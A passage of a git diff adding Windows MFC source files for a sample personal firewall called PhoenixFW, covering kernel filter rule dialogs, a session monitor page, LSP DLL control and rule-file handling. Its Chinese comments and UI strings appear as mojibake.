(BOOLEAN)m_RuleAction.GetItemData(m_RuleAction.GetCurSel()); + // ЭÒé + tmpRule.protocol = (USHORT)m_RuleProtocol.GetItemData(m_RuleProtocol.GetCurSel()); + // Ô´IPºÍÑÚλÂë¡£×¢Ò⣬CIPAddressCtrlÀàÊÇÒÔÖ÷»ú×Ö½Ú˳Ðò·µ»ØIPµØÖ·µÄ + m_SourceIP.GetAddress(tmpRule.sourceIP); + m_SourceMask.GetAddress(tmpRule.sourceMask); + + // Ä¿µÄIPºÍÑÚλÂë + m_DestIP.GetAddress(tmpRule.destinationIP); + m_DestMask.GetAddress(tmpRule.destinationMask); + + m_RuleItem = tmpRule; + CDialog::OnOK(); +} diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRuleDlg.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRuleDlg.h" new file mode 100644 index 0000000..27d617e --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRuleDlg.h" @@ -0,0 +1,57 @@ +#if !defined(AFX_KERRULEDLG_H__EC299161_1FC0_448A_91CD_64CB2FCBDBD6__INCLUDED_) +#define AFX_KERRULEDLG_H__EC299161_1FC0_448A_91CD_64CB2FCBDBD6__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// KerRuleDlg.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CKerRuleDlg dialog + +class CKerRuleDlg : public CDialog +{ +public: + static PassthruFilter m_RuleItem; // ÒªÌí¼ÓµÄ¹ýÂ˹æÔò + +// Construction +public: + CKerRuleDlg(CWnd* pParent = NULL); // standard constructor + +// Dialog Data + //{{AFX_DATA(CKerRuleDlg) + enum { IDD = IDD_KERRULE }; + CEdit m_SourcePort; + CIPAddressCtrl m_SourceMask; + CIPAddressCtrl m_SourceIP; + CComboBox m_RuleProtocol; + CComboBox m_RuleAction; + CEdit m_DestPort; + CIPAddressCtrl m_DestMask; + CIPAddressCtrl m_DestIP; + //}}AFX_DATA + + +// Overrides + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CKerRuleDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + + // Generated message map functions + //{{AFX_MSG(CKerRuleDlg) + virtual void OnOK(); + virtual BOOL OnInitDialog(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_KERRULEDLG_H__EC299161_1FC0_448A_91CD_64CB2FCBDBD6__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRulePage.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRulePage.cpp" new file mode 100644 index 0000000..d398465 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRulePage.cpp" @@ -0,0 +1,190 @@ +// KerRulePage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "KerRulePage.h" + +#include "KerRuleDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CKerRulePage property page + +IMPLEMENT_DYNCREATE(CKerRulePage, CPropertyPage) + +CKerRulePage::CKerRulePage() : CPropertyPage(CKerRulePage::IDD) +{ + //{{AFX_DATA_INIT(CKerRulePage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CKerRulePage::~CKerRulePage() +{ +} + +void CKerRulePage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CKerRulePage) + DDX_Control(pDX, IDC_KERRULES, m_kerrules); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CKerRulePage, CPropertyPage) + //{{AFX_MSG_MAP(CKerRulePage) + ON_BN_CLICKED(IDC_KERADD, OnKeradd) + ON_BN_CLICKED(IDC_KERDEL, OnKerdel) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CKerRulePage message handlers + +BOOL CKerRulePage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + // ³õʼ»¯ÁбíÊÓͼ¿Ø¼þ + m_kerrules.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES); + m_kerrules.InsertColumn(0, L"Ô´IPµØÖ·", LVCFMT_LEFT, sizeof(L"Ô´IPµØÖ·")*8, 0); + m_kerrules.InsertColumn(1, L"Ô´ÆÁ±Îλ", LVCFMT_LEFT, sizeof( L"Ô´ÆÁ±Îλ")*8, 1); + m_kerrules.InsertColumn(2, L"Ô´¶Ë¿Ú", LVCFMT_LEFT, sizeof(L"Ô´¶Ë¿Ú")*8, 2); + m_kerrules.InsertColumn(3, L"Ä¿µÄIPµØÖ·", LVCFMT_LEFT, sizeof(L"Ä¿IPµØÖ·")*8, 3); + m_kerrules.InsertColumn(4, L"Ä¿µÄÆÁ±Îλ", LVCFMT_LEFT, sizeof(L"Ä¿ÆÁ±Îλ")*8, 4); + m_kerrules.InsertColumn(5, L"Ä¿µÄ¶Ë¿Ú", LVCFMT_LEFT, sizeof(L"Ä¿¶Ë¿Ú")*8, 5); + m_kerrules.InsertColumn(6, L"ЭÒé", LVCFMT_LEFT, sizeof(L"ЭÒé")*8, 6); + m_kerrules.InsertColumn(7, L"¶¯×÷", LVCFMT_LEFT, sizeof(L"¶¯×÷")*8, 7); + + UpdateList(); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + +void CKerRulePage::UpdateList() +{ + // Çå¿ÕÁбí + m_kerrules.DeleteAllItems(); + // ÏòÁбíÖÐÌí¼Ó¹æÔò + for(int i=0; i<(int)g_RuleFile.m_header.ulKerRuleCount; i++) + AddRuleToList(&g_RuleFile.m_pKerRules[i]); +} + +void CKerRulePage::AddRuleToList(PPassthruFilter pItem, int nEditIndex) +{ + int nIndex = m_kerrules.GetItemCount(); + if(nEditIndex >= 0) + nIndex = nEditIndex; + else + m_kerrules.InsertItem(nIndex, L"", 0); + + WCHAR wszTemp[6]; + + BYTE *pByte ; + WCHAR wszIP[32]; + + // Ô´IPµØÖ· + pByte = (BYTE*)&pItem->sourceIP; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + CString s = (pItem->sourceIP == 0) ? L"ËùÓÐ" : wszIP; + m_kerrules.SetItemText(nIndex, 0, s); + // Ô´IPλÑÚÂë + pByte = (BYTE*)&pItem->sourceMask; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + m_kerrules.SetItemText(nIndex, 1, wszIP); + // Ô´¶Ë¿ÚºÅ + s = (pItem->sourcePort == 0) ? L"ËùÓÐ" : ::_itot(pItem->sourcePort, wszTemp, 10); + m_kerrules.SetItemText(nIndex, 2, s); + // Ä¿µÄIPµØÖ· + pByte = (BYTE*)&pItem->destinationIP; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + s = (pItem->destinationIP == 0) ? L"ËùÓÐ" : wszIP; + m_kerrules.SetItemText(nIndex, 3, s); + // Ä¿µÄIPλÑÚÂë + pByte = (BYTE*)&pItem->destinationMask; + wsprintf(wszIP, L"%d.%d.%d.%d", pByte[3], pByte[2], pByte[1], pByte[0]); + m_kerrules.SetItemText(nIndex, 4, wszIP); + // Ä¿µÄ¶Ë¿ÚºÅ + s = (pItem->destinationPort == 0) ? L"ËùÓÐ" : ::_itot(pItem->destinationPort, wszTemp, 10); + m_kerrules.SetItemText(nIndex, 5, s); + // ЭÒé + if(pItem->protocol == 1) + m_kerrules.SetItemText(nIndex, 6, L"ICMP"); + else if(pItem->protocol == 6) + m_kerrules.SetItemText(nIndex, 6, L"TCP"); + else if(pItem->protocol == 17) + m_kerrules.SetItemText(nIndex, 6, L"UDP"); + else + m_kerrules.SetItemText(nIndex, 6, L"ËùÓÐ"); + // ¶¯×÷ + s = pItem->bDrop ? L"¶ªÆú" : L"·ÅÐÐ"; + m_kerrules.SetItemText(nIndex, 7, s); +} + +int CKerRulePage::InitAddRule() +{ + PPassthruFilter pItem = &CKerRuleDlg::m_RuleItem; + + // ÉèÖÃĬÈϹæÔò + memset(pItem, 0, sizeof(*pItem)); + pItem->destinationMask = -1; + pItem->sourceMask = -1; + pItem->bDrop = FALSE; + + // µ¯³ö¹æÔò¶Ô»°¿ò + CKerRuleDlg dlg; + if(dlg.DoModal() == IDCANCEL) + { + return -1; + } + + // ½«¹æÔòÌí¼Óµ½Îļþ¶ÔÏó + if(!g_RuleFile.AddKerRules(&CKerRuleDlg::m_RuleItem, 1)) + { + AfxMessageBox(L"Ìí¼Ó ºËÐIJ㠹æÔò´íÎó¡£"); + return -1; + } + + // ½«¹æÔòÌí¼Óµ½Áбí + AddRuleToList(&CKerRuleDlg::m_RuleItem); + return 0; +} + +void CKerRulePage::OnKeradd() // Ìí¼ÓÒ»¸ö¹æÔò +{ + if(InitAddRule() != 0) + return; + + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} + +void CKerRulePage::OnKerdel() // ɾ³ýÒ»¸ö¹æÔò +{ + POSITION pos = m_kerrules.GetFirstSelectedItemPosition(); + if(pos == NULL) + { + MessageBox(L"ÇëÑ¡ÔñÒ»¸ö¹æÔò£¡"); + return; + } + + // »ñÈ¡ËùÑ¡¹æÔòµÄË÷Òý + int nIndex = m_kerrules.GetNextSelectedItem(pos); + + // ´ÓÎļþ¶ÔÏóÖн«¹æÔòɾ³ý + g_RuleFile.DelKerRule(nIndex); + + // ´ÓÁбíÖн«¹æÔòɾ³ý + m_kerrules.DeleteItem(nIndex); + + // ÓÐЧÖ÷¶Ô»°¿òµÄÓ¦Óð´Å¥ + GetOwner()->GetOwner()->GetDlgItem(IDC_APPLY)->EnableWindow(TRUE); +} diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRulePage.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRulePage.h" new file mode 100644 index 0000000..310459a --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/KerRulePage.h" @@ -0,0 +1,57 @@ +#if !defined(AFX_KERRULEPAGE_H__AC6E2053_8D7F_4995_A46A_7C162DCD5C24__INCLUDED_) +#define AFX_KERRULEPAGE_H__AC6E2053_8D7F_4995_A46A_7C162DCD5C24__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// KerRulePage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CKerRulePage dialog + +class CKerRulePage : public CPropertyPage +{ + DECLARE_DYNCREATE(CKerRulePage) + +// Construction +public: + CKerRulePage(); + ~CKerRulePage(); + + void AddRuleToList(PPassthruFilter pItem, int nEditIndex = -1); + + int InitAddRule(); + + void UpdateList(); + +// Dialog Data + //{{AFX_DATA(CKerRulePage) + enum { IDD = IDD_KERRULE_CONTROL }; + CListCtrl m_kerrules; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CKerRulePage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CKerRulePage) + virtual BOOL OnInitDialog(); + afx_msg void OnKeradd(); + afx_msg void OnKerdel(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_KERRULEPAGE_H__AC6E2053_8D7F_4995_A46A_7C162DCD5C24__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/MonitorPage.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/MonitorPage.cpp" new file mode 100644 index 0000000..97efe24 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/MonitorPage.cpp" @@ -0,0 +1,227 @@ +// MonitorPage.cpp : implementation file +// + +#include "stdafx.h" +#include "PhoenixFW.h" +#include "MonitorPage.h" + +#include "RulePage.h" + +#include "PhoenixFWDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif + +///////////////////////////////////////////////////////////////////////////// +// CMonitorPage property page + +extern CPhoenixApp theApp; + +IMPLEMENT_DYNCREATE(CMonitorPage, CPropertyPage) + +CMonitorPage::CMonitorPage() : CPropertyPage(CMonitorPage::IDD) +{ + //{{AFX_DATA_INIT(CMonitorPage) + // NOTE: the ClassWizard will add member initialization here + //}}AFX_DATA_INIT +} + +CMonitorPage::~CMonitorPage() +{ +} + +void CMonitorPage::DoDataExchange(CDataExchange* pDX) +{ + CPropertyPage::DoDataExchange(pDX); + //{{AFX_DATA_MAP(CMonitorPage) + DDX_Control(pDX, IDC_TREEMONITOR, m_MonitorTree); + //}}AFX_DATA_MAP +} + + +BEGIN_MESSAGE_MAP(CMonitorPage, CPropertyPage) + //{{AFX_MSG_MAP(CMonitorPage) + //}}AFX_MSG_MAP +END_MESSAGE_MAP() + +///////////////////////////////////////////////////////////////////////////// +// CMonitorPage message handlers + +BOOL CMonitorPage::OnInitDialog() +{ + CPropertyPage::OnInitDialog(); + + return TRUE; // return TRUE unless you set the focus to a control + // EXCEPTION: OCX Property Pages should return FALSE +} + + + +void CMonitorPage::HandleNotifySession(SESSION *pSession, int nCode) +{ + // µÃµ½µ±Ç°CMonitorPageÀàµÄÖ¸Õ루עÒ⣬HandleNotifySessionÊÇÒ»¸ö¾²Ì¬º¯Êý£© + CMonitorPage *pThis = &(((CMainDlg*)theApp.m_pMainWnd)->m_MonitorPage); + + // Ò»¸ö»á»°µÄÊôÐԸıäÁË + if(nCode == CODE_CHANGE_SESSION) + pThis->AddASession(pSession); + // Ò»¸ö»á»°±»É¾³ý + else if(nCode == CODE_DELETE_SESSION) + pThis->DeleteASession(pSession, FALSE); + // Ò»¸öÓ¦ÓóÌÐòÍ˳ö£¬ÎÒÃÇҪɾ³ý´ËÓ¦ÓóÌÐòµÄËùÓлỰ + else if(nCode == CODE_APP_EXIT) + pThis->DeleteASession(pSession, TRUE); +} + +void CMonitorPage::AddASession(SESSION *pSession) +{ + TRACE(L" AddASession... "); + + // Ê×ÏȲ鿴ËùÊôµÄÓ¦ÓóÌÐò£¬Èç¹ûûÓУ¬¾Í²åÈëÒ»¸öеÄÓ¦ÓóÌÐòÏî + // ÒªÔÚ´ËÓ¦ÓóÌÐòÏîÏÂÌí¼Ó»á»° + HTREEITEM hAppItem = FindAppItem(pSession->szPathName); + if(hAppItem == NULL) + { + hAppItem = m_MonitorTree.InsertItem(pSession->szPathName); + } + + // ͨ¹ýSESSION½á¹¹£¬¹¹½¨¿ÉÏÔʾµÄÎı¾ + CString sText = BuildSessionText(pSession); + + // ÔÚÓ¦ÓóÌÐòÏîÏ£¬¸ù¾ÝÌ×½Ó×Ö¾ä±ú²é¿´´Ë»á»°ÊÇ·ñÒѾ­´æÔÚ£¬ + // Èç¹û´æÔÚ£¬½öÉèÖÃ×ÓÏîµÄÎı¾£¬Èç¹û²»´æÔÚ£¬Òª´´½¨Ò»¸öеÄ×ÓÏî + HTREEITEM hSessionItem = FindSessionItem(hAppItem, pSession); + if(hSessionItem != NULL) + { + m_MonitorTree.SetItemText(hSessionItem, sText); + } + else + { + hSessionItem = m_MonitorTree.InsertItem(sText,hAppItem); + m_MonitorTree.SetItemData(hSessionItem, pSession->s); + } +} + +HTREEITEM CMonitorPage::FindAppItem(TCHAR *pszPathName) +{ + // ±éÀúËùÓÐÓ¦ÓóÌÐòÏ¿´¿´Ö¸¶¨Ó¦ÓóÌÐòÊÇ·ñ´æÔÚ + HTREEITEM hAppItem = m_MonitorTree.GetNextItem(TVI_ROOT, TVGN_CHILD); + while(hAppItem != NULL) + { + if(m_MonitorTree.GetItemText(hAppItem).CompareNoCase(pszPathName) == 0) + return hAppItem; // ´æÔÚ£¬·µ»ØÏî¾ä±ú + + hAppItem = m_MonitorTree.GetNextItem(hAppItem, TVGN_NEXT); + } + return NULL; +} + +HTREEITEM CMonitorPage::FindSessionItem(HTREEITEM hAppItem, SESSION *pSession) +{ + // ±äÁ¿ËùÓлỰÏ¿´¿´Ö¸¶¨»á»°ÊÇ·ñ´æÔÚ + HTREEITEM hSessionItem = m_MonitorTree.GetNextItem(hAppItem, TVGN_CHILD); + while(hSessionItem != NULL) + { + if(pSession->s == m_MonitorTree.GetItemData(hSessionItem)) + return hSessionItem; // ´æÔÚ£¬·µ»ØÏî¾ä±ú + + hSessionItem = m_MonitorTree.GetNextItem(hSessionItem, TVGN_NEXT); + } + return NULL; +} + +CString CMonitorPage::BuildSessionText(SESSION *pSession) +{ + CString sText; + + CString sServType, sLocal, sRemote, sDirection; + + // ±¾µØIPµØÖ· + BYTE *pByte = (BYTE *)&pSession->ulLocalIP; // ×¢Ò⣬ÕâÀïµÄIPµØÖ·ÊÇÍøÂç×Ö½Ú˳Ðò + sLocal.Format(L"%d.%d.%d.%d£º%d", pByte[0], pByte[1], pByte[2], pByte[3], pSession->usLocalPort); + + // Ô¶³ÌIPµØÖ· + pByte = (BYTE *)&pSession->ulRemoteIP; + sRemote.Format(L"%d.%d.%d.%d£º%d", pByte[0], pByte[1], pByte[2], pByte[3], pSession->usRemotePort); + + // ·þÎñÀàÐÍ + sServType = L"ÆäËü"; + switch(pSession->nProtocol) + { + case RULE_SERVICE_TYPE_ALL: + sServType.Format(L"ËùÓÐ"); + break; + case RULE_SERVICE_TYPE_TCP: + sServType.Format(L"TCP"); + break; + case RULE_SERVICE_TYPE_UDP: + sServType.Format(L"UDP"); + break; + case RULE_SERVICE_TYPE_FTP: + sServType.Format(L"FTP"); + break; + case RULE_SERVICE_TYPE_TELNET: + sServType.Format(L"TELNET"); + break; + case RULE_SERVICE_TYPE_HTTP: + sServType.Format(L"HTTP"); + break; + case RULE_SERVICE_TYPE_NNTP: + sServType.Format(L"NNTP"); + break; + case RULE_SERVICE_TYPE_POP3: + sServType.Format(L"POP3"); + break; + case RULE_SERVICE_TYPE_SMTP: + sServType.Format(L"SMTP"); + break; + } + + // ·½Ïò + switch(pSession->ucDirection) + { + case RULE_DIRECTION_IN: + sDirection = L"<¡ª¡ª"; + break; + case RULE_DIRECTION_OUT: + sDirection = L"¡ª¡ª>"; + break; + case RULE_DIRECTION_IN_OUT: + sDirection = L"<¡ª¡ª>"; + break; + default: + sDirection = L"¡ª¡ª"; + } + + sText.Format(L" %s ЭÒé ¡¾%s¡¿ %s ¡¾%s¡¿ ", sServType, sLocal, sDirection, sRemote); + return sText; +} + + +void CMonitorPage::DeleteASession(SESSION *pSession, BOOL bAppExit) +{ + TRACE(L" DeleteASession... "); + + HTREEITEM hAppItem = FindAppItem(pSession->szPathName); + if(hAppItem != NULL) + { + if(bAppExit) // Ó¦ÓóÌÐòÍ˳ö£¬É¾³ýÕû¸öÓ¦ÓóÌÐòÏ°üº¬ÏÂÃæµÄ»á»°×ÓÏ + { + m_MonitorTree.DeleteItem(hAppItem); + } + else // ½ö»á»°É¾³ý£¬ÔÚÓ¦ÓóÌÐòÏîÏÂÃæÕÒµ½Õâ¸ö»á»°£¬½«Ö®É¾³ý + { + HTREEITEM hSessionItem = FindSessionItem(hAppItem, pSession); + if(hSessionItem != NULL) + { + m_MonitorTree.DeleteItem(hSessionItem); + } + // ûÓÐSession´æÔÚÁË£¬½«Ó¦ÓóÌÐòÏîҲɾ³ý + if(m_MonitorTree.GetNextItem(hAppItem, TVGN_CHILD) == NULL) + m_MonitorTree.DeleteItem(hAppItem); + } + } +} diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/MonitorPage.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/MonitorPage.h" new file mode 100644 index 0000000..110517b --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/MonitorPage.h" @@ -0,0 +1,63 @@ +#if !defined(AFX_MONITORPAGE_H__8399617D_A7AB_4EF0_9CCF_E25EC885167D__INCLUDED_) +#define AFX_MONITORPAGE_H__8399617D_A7AB_4EF0_9CCF_E25EC885167D__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +// MonitorPage.h : header file +// + +///////////////////////////////////////////////////////////////////////////// +// CMonitorPage dialog + +class CMonitorPage : public CPropertyPage +{ + DECLARE_DYNCREATE(CMonitorPage) + +// Construction +public: + CMonitorPage(); + ~CMonitorPage(); + + BOOL m_bStop; + + static void HandleNotifySession(SESSION *pSession, int nCode); + + + + void AddASession(SESSION *pSession); + void DeleteASession(SESSION *pSession, BOOL bAppExit); + + HTREEITEM FindAppItem(TCHAR *pszPathName); + HTREEITEM FindSessionItem(HTREEITEM hAppItem, SESSION *pSession); + + CString BuildSessionText(SESSION *pSession); + +// Dialog Data + //{{AFX_DATA(CMonitorPage) + enum { IDD = IDD_MONITOR }; + CTreeCtrl m_MonitorTree; + //}}AFX_DATA + + +// Overrides + // ClassWizard generate virtual function overrides + //{{AFX_VIRTUAL(CMonitorPage) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL + +// Implementation +protected: + // Generated message map functions + //{{AFX_MSG(CMonitorPage) + virtual BOOL OnInitDialog(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + +}; + +//{{AFX_INSERT_LOCATION}} +// Microsoft Visual C++ will insert additional declarations immediately before the previous line. + +#endif // !defined(AFX_MONITORPAGE_H__8399617D_A7AB_4EF0_9CCF_E25EC885167D__INCLUDED_) diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PIOControl.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PIOControl.cpp" new file mode 100644 index 0000000..e2d3c46 --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PIOControl.cpp" @@ -0,0 +1,92 @@ + + +#include "stdafx.h" + +#include "PIOControl.h" + + +CPIOControl::CPIOControl() +{ + m_fnIoControl = NULL; + + // ¼ÓÔØDLLÄ£¿é£¬»ñÈ¡PLSPIoControlº¯ÊýµÄÖ¸Õë + TCHAR szPathName[256]; + TCHAR* p; + if(::GetFullPathName(PHOENIX_SERVICE_DLL_NAME, 256, szPathName, &p) != 0) + { + m_hLSPModule = ::LoadLibrary(szPathName); + if(m_hLSPModule != NULL) + { + m_fnIoControl = (PFNLSPIoControl)::GetProcAddress(m_hLSPModule, "PLSPIoControl"); + } + } + if(m_fnIoControl == NULL) + { + ::MessageBox(NULL, _T("Can not find LSP module"), _T("error"), 0); + exit(0); + } +} + +CPIOControl::~CPIOControl() +{ + if(m_hLSPModule != NULL) + ::FreeLibrary(m_hLSPModule); +} + +void CPIOControl::SetWorkMode(int nWorkMode) +{ + // ÉèÖù¤×÷ģʽ + m_IoControl.ucWorkMode = nWorkMode; + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_WORK_MODE); +} + +int CPIOControl::GetWorkMode() +{ + // »ñÈ¡¹¤×÷ģʽ + return m_fnIoControl(&m_IoControl, IO_CONTROL_GET_WORK_MODE); +} + +void CPIOControl::SetRuleFile(RULE_FILE_HEADER *pHeader, RULE_ITEM *pRules) +{ + // ÉêÇëÒ»¸öÁÙʱµÄRULE_FILE¶ÔÏó + RULE_FILE RuleFile; + memcpy(&RuleFile.header, pHeader, sizeof(RULE_FILE_HEADER)); + memcpy(&RuleFile.LspRules, pRules, sizeof(RULE_ITEM) * pHeader->ulLspRuleCount); + + // ÉèÖùýÂ˹æÔò + m_IoControl.pRuleFile = &RuleFile; + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_RULE_FILE); +} + +void CPIOControl::SetPhoenixInstance(HWND hWnd, TCHAR *pszPathName) +{ + // ÉèÖÃʵÀý¾ä±ú + m_IoControl.hPhoenixWnd = hWnd; + wcscpy(m_IoControl.szPath, pszPathName); + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_PHOENIX_INSTANCE); +} + +void CPIOControl::GetSession(SESSION *pSession, int nIndex) +{ + // »ñÈ¡ÓÐʼþ·¢ÉúµÄ»á»° + m_IoControl.pSession = pSession; + m_IoControl.nSessionIndex = nIndex; + m_fnIoControl(&m_IoControl, IO_CONTROL_GET_SESSION); +} + +void CPIOControl::SetQueryApp(int nIndex, BOOL bPass) +{ + // ·µ»Ø²éѯ½á¹û + m_IoControl.nSessionIndex = nIndex; + m_IoControl.ucWorkMode = bPass; + m_fnIoControl(&m_IoControl, IO_CONTROL_SET_QUERY_SESSION); +} + +LPCTSTR CPIOControl::GetQueryApp(int nIndex) +{ + // »ñÈ¡²éѯµÄÓ¦ÓóÌÐò + m_IoControl.nSessionIndex = nIndex; + m_fnIoControl(&m_IoControl, IO_CONTROL_GET_QUERY_SESSION); + return m_IoControl.szPath; +} + diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PIOControl.h" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PIOControl.h" new file mode 100644 index 0000000..00d2c0a --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PIOControl.h" @@ -0,0 +1,40 @@ +//////////////////////////////////////// +// PIOControl.hÎļþ + +// ¹ÜÀíDLL¹²ÏíÄÚ´æ + +#include "../common/PMacRes.h" +#include "../common/TypeStruct.h" + +#ifndef __PIOCONTROL_H__ +#define __PIOCONTROL_H__ + +class CPIOControl +{ +public: + CPIOControl(); + ~CPIOControl(); + // ÉèÖù¤×÷ģʽ + void SetWorkMode(int nWorkMode); + // »ñÈ¡¹¤×÷ģʽ + int GetWorkMode(); + + // ÉèÖùæÔòÎļþ + void SetRuleFile(RULE_FILE_HEADER *pHeader, RULE_ITEM *pRules); + // ÉèÖÃÖ÷Ä£¿é¾ä±ú + void SetPhoenixInstance(HWND hWnd, TCHAR *pszPathName); + + // »ñȡѯÎʵÄÓ¦ÓóÌÐòºÍÉèÖÃѯÎʵĽá¹û + LPCTSTR GetQueryApp(int nIndex); + void SetQueryApp(int nIndex, BOOL bPass); + + // »ñÈ¡Ò»¸ö»á»°ÐÅÏ¢ + void GetSession(SESSION *pSession, int nIndex); + +private: + PFNLSPIoControl m_fnIoControl; + HMODULE m_hLSPModule; + LSP_IO_CONTROL m_IoControl; +}; + +#endif // __PIOCONTROL_H__ \ No newline at end of file diff --git "a/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PRuleFile.cpp" "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PRuleFile.cpp" new file mode 100644 index 0000000..cf7126c --- /dev/null +++ "b/Project/Network and Communication/\347\254\25412\347\253\240/PhoenixFW/PhoenixFW/PRuleFile.cpp" @@ -0,0 +1,250 @@ +////////////////////////////////////////////////// +// PRuleFile.cpp + +#include "stdafx.h" + +#include "PRuleFile.h" + + +CPRuleFile::CPRuleFile() +{ + // »ñÈ¡¹æÔòÎļþµÄÍêÕû·¾¶ + TCHAR *p; + ::GetFullPathName(RULE_FILE_NAME, MAX_PATH, m_szPathName, &p); + + m_hFile = INVALID_HANDLE_VALUE; + + // Ϊ¹ýÂ˹æÔòÔ¤ÉêÇëÄÚ´æ¿Õ¼ä + m_nLspMaxCount = 50; + m_nKerMaxCount = 50; + m_pLspRules = new RULE_ITEM[m_nLspMaxCount]; + m_pKerRules = new PassthruFilter[m_nKerMaxCount]; + m_bLoad = FALSE; +} + +CPRuleFile::~CPRuleFile() +{ + if(m_hFile != INVALID_HANDLE_VALUE) + ::CloseHandle(m_hFile); + delete[] m_pLspRules; + delete[] m_pKerRules; +} + + +void CPRuleFile::InitFileData() +{ + // ³õʼ»¯ÎļþÍ· + wcscpy(m_header.szSignature, RULE_HEADER_SIGNATURE); + m_header.ulHeaderLength = sizeof(m_header); + + m_header.ucMajorVer = RULE_HEADER_MAJOR; + m_header.ucMinorVer = RULE_HEADER_MINOR; + + m_header.dwVersion = RULE_HEADER_VERSION; + + wcscpy(m_header.szWebURL, RULE_HEADER_WEB_URL); + + wcscpy(m_header.szEmail, RULE_HEADER_EMAIL); + + m_header.ulLspRuleCount = 0; + m_header.ulKerRuleCount = 0; + + m_header.ucLspWorkMode = PF_QUERY_ALL; + m_header.ucKerWorkMode = IM_START_FILTER; + + m_header.bAutoStart = FALSE; +} + +// ½«¹æÔòдÈëÖ¸¶¨Îļþ +BOOL CPRuleFile::WriteRules(TCHAR *pszPathName) +{ + DWORD dw; + if(m_hFile != INVALID_HANDLE_VALUE) + { + ::CloseHandle(m_hFile); + } + // ´ò¿ªÎļþ + m_hFile = ::CreateFile(pszPathName, GENERIC_WRITE, + 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if(m_hFile != 